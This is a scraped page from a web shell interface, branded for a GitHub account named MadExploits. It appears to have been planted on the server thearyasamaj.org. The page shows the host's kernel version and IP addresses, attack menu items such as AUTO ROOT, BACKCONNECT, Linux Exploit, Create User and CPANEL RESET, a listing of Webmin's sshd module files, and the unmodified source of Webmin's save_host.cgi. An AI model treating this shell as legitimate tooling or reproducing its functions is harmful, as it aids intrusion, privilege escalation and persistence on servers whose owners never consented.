Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.136
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
sshd /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.04
KB
-rw-r--r--
apply.cgi
233
B
-rwxr-xr-x
backup_config.pl
892
B
-rwxr-xr-x
cgi_args.pl
264
B
-rwxr-xr-x
config
202
B
-rw-r--r--
config-AlmaLinux-8.0-ALL
296
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
296
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
296
B
-rw-r--r--
config-Rocky-Linux-8.0-ALL
296
B
-rw-r--r--
config-Ubuntu-Linux-10.10-17.1...
256
B
-rw-r--r--
config-Ubuntu-Linux-18.04-ALL
296
B
-rw-r--r--
config-coherent-linux
276
B
-rw-r--r--
config-debian-linux-10.0-ALL
296
B
-rw-r--r--
config-debian-linux-2.2-9.0
264
B
-rw-r--r--
config-macos
194
B
-rw-r--r--
config-macos-8.1-ALL
183
B
-rw-r--r--
config-mandrake-linux-7.1-ALL
258
B
-rw-r--r--
config-open-linux-3.1
276
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
296
B
-rw-r--r--
config-openmamba-linux
276
B
-rw-r--r--
config-pardus-linux
235
B
-rw-r--r--
config-redhat-linux-24.0-ALL
296
B
-rw-r--r--
config-redhat-linux-7.0-23.0
258
B
-rw-r--r--
config-slackware-linux-8.0-ALL
268
B
-rw-r--r--
config-sol-linux
274
B
-rw-r--r--
config-solaris-10-ALL
344
B
-rw-r--r--
config-solaris-9
205
B
-rw-r--r--
config-suse-linux-7.1-8.0
266
B
-rw-r--r--
config-suse-linux-8.2-ALL
271
B
-rw-r--r--
config-syno-linux
342
B
-rw-r--r--
config-trustix-linux
303
B
-rw-r--r--
config-turbo-linux-7.0
276
B
-rw-r--r--
config-united-linux
266
B
-rw-r--r--
config-windows
267
B
-rw-r--r--
config.info
479
B
-rw-r--r--
config.info.bg
909
B
-rw-r--r--
config.info.ca
577
B
-rw-r--r--
config.info.cs
555
B
-rw-r--r--
config.info.de
574
B
-rw-r--r--
config.info.es
372
B
-rw-r--r--
config.info.eu
597
B
-rw-r--r--
config.info.fa
569
B
-rw-r--r--
config.info.fr
647
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
576
B
-rw-r--r--
config.info.ja
558
B
-rw-r--r--
config.info.ko
498
B
-rw-r--r--
config.info.nl
598
B
-rw-r--r--
config.info.no
499
B
-rw-r--r--
config.info.pl
595
B
-rw-r--r--
config.info.ru
488
B
-rw-r--r--
config.info.sk
498
B
-rw-r--r--
config.info.uk
511
B
-rw-r--r--
edit_access.cgi
2.25
KB
-rwxr-xr-x
edit_host.cgi
5.81
KB
-rwxr-xr-x
edit_keys.cgi
1.38
KB
-rwxr-xr-x
edit_manual.cgi
879
B
-rwxr-xr-x
edit_misc.cgi
3.35
KB
-rwxr-xr-x
edit_net.cgi
3.84
KB
-rwxr-xr-x
edit_sync.cgi
934
B
-rwxr-xr-x
edit_users.cgi
6.13
KB
-rwxr-xr-x
index.cgi
2.61
KB
-rwxr-xr-x
install_check.pl
370
B
-rwxr-xr-x
list_hosts.cgi
707
B
-rwxr-xr-x
log_parser.pl
612
B
-rwxr-xr-x
module.info
127
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
107
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
135
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
143
B
-rw-r--r--
module.info.bg
25
B
-rw-r--r--
module.info.bg.auto
118
B
-rw-r--r--
module.info.ca
91
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
19
B
-rw-r--r--
module.info.cs.auto
90
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
92
B
-rw-r--r--
module.info.de
89
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
164
B
-rw-r--r--
module.info.es
21
B
-rw-r--r--
module.info.es.auto
92
B
-rw-r--r--
module.info.eu
24
B
-rw-r--r--
module.info.eu.auto
81
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
147
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
92
B
-rw-r--r--
module.info.fr
20
B
-rw-r--r--
module.info.fr.auto
97
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
120
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
110
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
99
B
-rw-r--r--
module.info.it
19
B
-rw-r--r--
module.info.it.auto
78
B
-rw-r--r--
module.info.ja
22
B
-rw-r--r--
module.info.ja.auto
116
B
-rw-r--r--
module.info.ko
19
B
-rw-r--r--
module.info.ko.auto
93
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
105
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
103
B
-rw-r--r--
module.info.ms
94
B
-rw-r--r--
module.info.ms.auto
13
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
94
B
-rw-r--r--
module.info.nl
19
B
-rw-r--r--
module.info.nl.auto
82
B
-rw-r--r--
module.info.no
19
B
-rw-r--r--
module.info.no.auto
82
B
-rw-r--r--
module.info.pl
21
B
-rw-r--r--
module.info.pl.auto
84
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
100
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
109
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
110
B
-rw-r--r--
module.info.ru
25
B
-rw-r--r--
module.info.ru.auto
124
B
-rw-r--r--
module.info.sk
19
B
-rw-r--r--
module.info.sk.auto
84
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
99
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
96
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
251
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
109
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
155
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
162
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
115
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
103
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
112
B
-rw-r--r--
save_access.cgi
1.87
KB
-rwxr-xr-x
save_host.cgi
4.69
KB
-rwxr-xr-x
save_manual.cgi
542
B
-rwxr-xr-x
save_misc.cgi
2.53
KB
-rwxr-xr-x
save_net.cgi
2.9
KB
-rwxr-xr-x
save_sync.cgi
493
B
-rwxr-xr-x
save_users.cgi
3.85
KB
-rwxr-xr-x
sshd-lib.pl
8.73
KB
-rwxr-xr-x
start.cgi
209
B
-rwxr-xr-x
stop.cgi
193
B
-rwxr-xr-x
useradmin_update.pl
1.34
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_host.cgi
#!/usr/bin/perl # save_host.cgi # Create, update or delete a client host require (-r 'sshd-lib.pl' ? './sshd-lib.pl' : './ssh-lib.pl'); &ReadParse(); &lock_file($config{'client_config'}); $hconf = &get_client_config(); &error_setup($text{'host_err'}); # Get version and type if (&get_product_name() eq 'usermin') { $version_type = &get_ssh_type(); $version_number = &get_ssh_version(); } else { $version_type = $version{'type'}; $version_number = $version{'number'}; } if ($in{'delete'}) { # Just delete the host $host = $hconf->[$in{'idx'}]; &delete_host($host); } else { # Saving or creating a host $host = $hconf->[$in{'idx'}] if (!$in{'new'}); if ($in{'name_def'}) { $host->{'values'} = [ '*' ]; } else { $in{'name'} =~ /^\S+$/ || &error($text{'host_ename'}); $host->{'values'} = [ $in{'name'} ]; } if ($in{'new'}) { # Create empty host structure &create_host($host); } else { &modify_host($host); } $conf = $host->{'members'}; # Validate and store host options if ($in{'user_def'}) { &save_directive("User", $conf); } else { $in{'user'} =~ /^\S+$/ || &error($text{'host_euser'}); &save_directive("User", $conf, $in{'user'}); } &save_directive("KeepAlive", $conf, $in{'keep'} == 2 ? undef : $in{'keep'} ? 'yes' : 'no'); if ($in{'hostname_def'}) { &save_directive("HostName", $conf); } else { &to_ipaddress($in{'hostname'}) || &to_ip6address($in{'hostname'}) || &error($text{'host_ehostname'}); &save_directive("HostName", $conf, $in{'hostname'}); } &save_directive("BatchMode", $conf, $in{'batch'} == 2 ? undef : $in{'batch'} ? 'yes' : 'no'); if ($in{'port_def'}) { &save_directive("Port", $conf); } else { $in{'port'} =~ /^\d+$/ || &error($text{'host_eport'}); &save_directive("Port", $conf, $in{'port'}); } if ($version_type ne 'ssh' || $version_number < 3) { &save_directive("Compression", $conf, $in{'comp'} == 2 ? undef : $in{'comp'} ? 'yes' : 'no'); } if ($in{'escape_def'} == 1) { &save_directive("EscapeChar", $conf); } elsif ($in{'escape_def'} == 2) { &save_directive("EscapeChar", $conf, "none"); } else { $in{'escape'} =~ /^\S$/ || $in{'escape'} =~ /^\^\S$/ || &error($text{'host_eescape'}); &save_directive("EscapeChar", $conf, $in{'escape'}); } if ($version_type ne 'ssh' || $version_number < 3) { if ($in{'clevel_def'}) { &save_directive("CompressionLevel", $conf); } else { &save_directive("CompressionLevel", $conf, $in{'clevel'}); } if ($in{'attempts_def'}) { &save_directive("ConnectionAttempts", $conf); } else { $in{'attempts'} =~ /^\d+$/ || &error($text{'host_eattempts'}); &save_directive("ConnectionAttempts", $conf, $in{'attempts'}); } &save_directive("UsePrivilegedPort", $conf, $in{'priv'} == 2 ? undef : $in{'priv'} ? 'yes' : 'no'); &save_directive("FallBackToRsh", $conf, $in{'rsh'} == 2 ? undef : $in{'rsh'} ? 'yes' : 'no'); &save_directive("UseRsh", $conf, $in{'usersh'} == 2 ? undef : $in{'usersh'} ? 'yes' : 'no'); } &save_directive("ForwardAgent", $conf, $in{'agent'} == 2 ? undef : $in{'agent'} ? 'yes' : 'no'); &save_directive("ForwardX11", $conf, $in{'x11'} == 2 ? undef : $in{'x11'} ? 'yes' : 'no'); &save_directive("StrictHostKeyChecking", $conf, $in{'strict'} == 2 ? undef : $in{'strict'} == 1 ? 'yes' : $in{'strict'} == 0 ? 'no' : 'ask'); if ($version_type eq 'openssh') { &save_directive("CheckHostIP", $conf, $in{'checkip'} == 2 ? undef : $in{'checkip'} ? 'yes' : 'no'); &save_directive("Protocol", $conf, $in{'prots'} || undef); } for($i=0; defined($in{"llport_$i"}); $i++) { next if (!$in{"llport_$i"} && !$in{"lrhost_$i"} && !$in{"lrport_$i"}); $in{"llport_$i"} =~ /^\d+$/ || &error($text{'host_elport'}); $in{"lrhost_$i"} =~ /^\S+$/ || &error($text{'host_erhost'}); $in{"lrport_$i"} =~ /^\d+$/ || &error($text{'host_erport'}); push(@lforward, sprintf("%d %s:%d", $in{"llport_$i"}, $in{"lrhost_$i"}, $in{"lrport_$i"})); } &save_directive("LocalForward", $conf, @lforward); for($i=0; defined($in{"rrport_$i"}); $i++) { next if (!$in{"rrport_$i"} && !$in{"rlhost_$i"} && !$in{"rlport_$i"}); $in{"rrport_$i"} =~ /^\d+$/ || &error($text{'host_erport'}); $in{"rlhost_$i"} =~ /^\S+$/ || &error($text{'host_elhost'}); $in{"rlport_$i"} =~ /^\d+$/ || &error($text{'host_elport'}); push(@rforward, sprintf("%d %s:%d", $in{"rrport_$i"}, $in{"rlhost_$i"}, $in{"rlport_$i"})); } &save_directive("RemoteForward", $conf, @rforward); } &flush_file_lines(); &unlock_file($config{'client_config'}); if (&get_product_name() ne 'usermin') { &webmin_log($in{'new'} ? "create" : $in{'delete'} ? "delete" : "update", "host", $host->{'values'}->[0]); } &redirect("list_hosts.cgi");
Close